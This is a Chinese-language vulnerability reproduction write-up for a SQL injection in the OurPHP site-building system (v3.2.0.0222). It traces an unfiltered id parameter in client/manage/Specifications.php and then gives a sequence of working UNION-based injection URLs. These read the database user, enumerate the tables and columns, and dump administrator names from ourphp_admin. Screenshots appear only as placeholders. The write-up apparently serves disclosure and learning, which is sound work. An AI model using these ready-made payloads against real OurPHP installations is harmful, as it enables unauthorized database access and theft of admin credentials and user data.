登录 白背景

Ourphp建站系统SQL注入漏洞

漏洞描述

OurPHP是一款基于PHP MySQL开发符合W3C标准的建站系统,攻击者通过漏洞可以获取服务器的管理员密码,用户信息。

漏洞影响

ourphp-v3.2.0.0222

FOFA

不提供

漏洞复现

漏洞点位于:

client/manage/Specifications.php

img

接受传递过来的id使用正则只替换一次逗号为空

判断替换之后的id以逗号分隔是否大于4或者id是否为空

如果为空退出,不为空则继续

直接使用之前的id代入查询追踪listgo

img

查看第一个

img

没有任何过滤

再返回回去查看是否有回显

img

有回显

复现:

首先查看回显点是否存在

增加一个比较明显的回显值

img

img

查看到回显点,构造语句

http://ourphp.local/client/manage/Specifications.php?id=1)%20union%20select%201,2,3,(user())%23

img

查看当前数据库所有表

http://ourphp.local/client/manage/Specifications.php?id=1)%20union%20select%201,2,3,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

img

查询指定表的所有字段

http://ourphp.local/client/manage/Specifications.php?id=1)%20union%20select%201,2,3,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27ourphp_admin%27)%23

img

查询指定表的指定字段的所有内容

http://ourphp.local/client/manage/Specifications.php?id=1)%20union%20select%201,2,3,(select%20group_concat(OP_Adminname)%20from%20ouphp.ourphp_admin)%23

img